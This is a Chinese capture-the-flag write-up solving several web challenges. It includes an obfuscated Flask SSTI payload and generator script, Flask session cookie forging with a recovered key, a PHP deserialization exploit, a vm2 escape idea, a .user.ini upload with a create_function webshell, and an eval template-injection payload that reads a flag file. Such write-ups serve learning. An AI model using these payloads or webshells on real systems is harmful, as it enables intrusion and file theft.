尖尖的商店1
直接抓包修改钱数拿到flag
Easy-Baby-Signin
套娃题目,
1.先抓包。用bp弱口令爆破http认证。猜测用户名是admin。爆破得到密码为123456789。
2.查看页面源代码发现给出了图片的base64
因为jpg参数可控尝试解码。发现是2次base64和1次16进制转字符串来的。
于是尝试读取源码。把index.php经过1次字符串转16进制和2次base64之后传入jpg。
发现了熟悉的PD9直接base64解码得到index.php
<?php
/*
do you know magicword.txt?
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'."Hacked_by_whiskey".'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
if(strpos($file,'test') == false)
{
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
echo "Can you find the flag file?";
}
else
{
echo "Not here!Try again!";
}
?>
注释发现还存在magicword.txt,访问
<?php
#atest.php
#GOAL: get the secret;
class icanhear {var $mykey; var $myword;}
$magicword = unserialize($_GET['magicword']);
echo "just tell me the magicword\n";
$magicword->myword = "***********";
if ($magicword->myword === $magicword->mykey)
echo "Sooooo close: ".$magicword->myword;
else
echo "Damn it !";
?>
这是一道反序列化题目,需要我们自己构造序列化。题目GET到了一个magicword参数并将其反序列化
构造POC,将其传入magicword
访问这个网页
给出了2部分flag,已知flag2的md5前六位的值是1024cc让我们找出flag2.
可以用python写一个脚本爆破
import hashlib
for i in range(1,10000000):
res=hashlib.md5(str(i).encode()).hexdigest()
if res[:6]=="1024cc":
print(str(i))
break
爆破得到flag2的值为7900588
flag{wa0_7900588_is_right}
尖尖的商店2.0
100点买的一部分源码:
@app.errorhandler(404)
def page_not_found(e):
referrer = request.headers.get("Referer")
if referrer is None:
referrer = '/'
if not valid_url(referrer):
referrer = '/?error'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(
referrer)
return render_template_string(html), 404
依然是flask框架,这道题考点是flask session伪造
相关资料:
先ssti注入获取密钥
session前一部分base64解码得到
{“money”:“1000”}
应该是要伪造session脚本替换session改money
加密命令
py -3 flask_session_cookie_manager3.py decode -c eyJtb25leSI6IjEwMDAifQ.X2_fCA.BNcd6iLFjwXJRjMCqDwLPhEkxYc -s vlmalkdguv923rufkjdsa7823312e
解密命令
py -3 flask_session_cookie_manager3.py encode -t {'money':'10000000'} -s vlmalkdguv923rufkjdsa7823312e
注意没有空格,因为空格被坑了
ezflask
flask ssti 绕过
wendell学长的绕过思路:https://xz.aliyun.com/t/8029
py脚本把字符用过滤器表示出来
payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):
num = ord(alp)
result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace('{num}', str(num)).replace('{goal}', goal)
return result
def get_word(des, goal):
#goal = 'ds2'
#des = '__globals__'
result = ''
for i in des:
result += (get_alp(i, goal))
return result
def main():
# poc = "url_for.__globals__.__builtins__.open('/flag').read()"
i = 0
while(1):
text = input('>')
print('i'+str(i), end=':')
print(get_word(text, 'i'+str(i)))
i += 1
main()
最终payload:
http://127.0.0.1:19009/?name={%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds=dict(a=ds,c=udl%(105)).values()|join %} {%set ds=dict(a=ds,c=udl%(110)).values()|join %}{%set ds=dict(a=ds,c=udl% (105)).values()|join %}{%set ds=dict(a=ds,c=udl%(116)).values()|join %} {%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (103)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(111)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(98)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (97)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(115)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (95)).values()|join %}{%set i0=dict(a=i0,c=udl%(47)).values()|join %}{%set i0=dict(a=i0,c=udl% (102)).values()|join %}{%set i0=dict(a=i0,c=udl%(108)).values()|join %} {%set i0=dict(a=i0,c=udl%(97)).values()|join %}{%set i0=dict(a=i0,c=udl% (103)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(98)).values()|join %}{%set i1=dict(a=i1,c=udl%(117)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %} {%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(110)).values()|join %} {%set i1=dict(a=i1,c=udl%(115)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%for k,v in (app|attr(ds)|attr(ds2)).items()%}{%if (k|string )==i1 %} {{v.open(i0).read()}}{%endif%}{%endfor%}
ezcalc
考点:正则绕过+vm逃逸
源码:
var express = require('express');
var router = express.Router();
const { VM } = require('vm2');
function safeEval(calc) {
if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return new VM().run(calc);
}
router.get('/', function (req, res, next) {
let result = '';
if (req.query.calc) {
let calc = req.query.calc;
result = safeEval(calc);
}
else {
result = '?calc=2-1'
}
res.render('index', { title: 'ezcalc', result: result });
});
module.exports = router;
这里要注意正则表达式,这次还是对正则表达式掌握不熟练。这个正则表达式可以使用Math.xxxxx(xxxx指的是任何单词)推荐一个学习正则的网站:https://regexr-cn.com/
所以可以获取到Math.constructor
,获取两次后,就是 Function 对象,就可以可以任意代码执⾏
Hacked by V
1.根据源码可以知道后台目录是/login.php
可以根据题目给的弱口令进去。
2.
这里有个可以写入shell的点,我们点编辑,确认上传的时候抓包可以指定目录写入文件。这里我们要先确定什么类型的文件可以被写入。题目给出了源码。
只允许上传这些后缀的文件。看到ini很容易联想到.user.ini文件,这个文件可以让一个指定文件变成php文件,但是前提是当前文件夹中存在一个php文件才可,因为连接webshell的时候是需要使用这个php文件的。我们上传一个.user.ini文件,里面写着auto_prepend_file=shell.htm 这样名为shell.htm的文件就会被php解析。
抓包改包
我们通过源码可以发现core文件夹里有很多php文件。于是我们在core里上传.user.ini和shell.htm
修改POST数据分别为
activepath=/template/../core&filename=.user.ini&content=auto_prepen d_file=shell.htm&_ajax=1
activepath=/template/../core&filename=shell.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1
两个包都发送后连接shell
这里要注意要连接其中一个php文件而不是shell.htm!
dangerous-function
题目就是dangerous-function,因此危险函数就是eval函数或者是system()函数,通过搜索可以找到源码中的eval函数。
相关代码片段: 再zzz_temple.php这个文件中解析if标签
function parserIfLabel( $zcontent ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
error('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
error('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else
switch ( $flag ) {
case 'if': // 条件为真
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else': // 条件为假
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
// 无限极嵌套解析
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
// 执行替换
$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
}
}
return $zcontent;
}
{if:(eval_code)}相同结果{else}不相同结果{end if}
到这⾥应该能知道这是模板注⼊,⽽⻚⾯中只有搜索框可以注⼊ 这⾥主要⽤到动态函数 多次调试后可以得到 flag ⽅法应该很多
最终payload
{if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab)) (Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}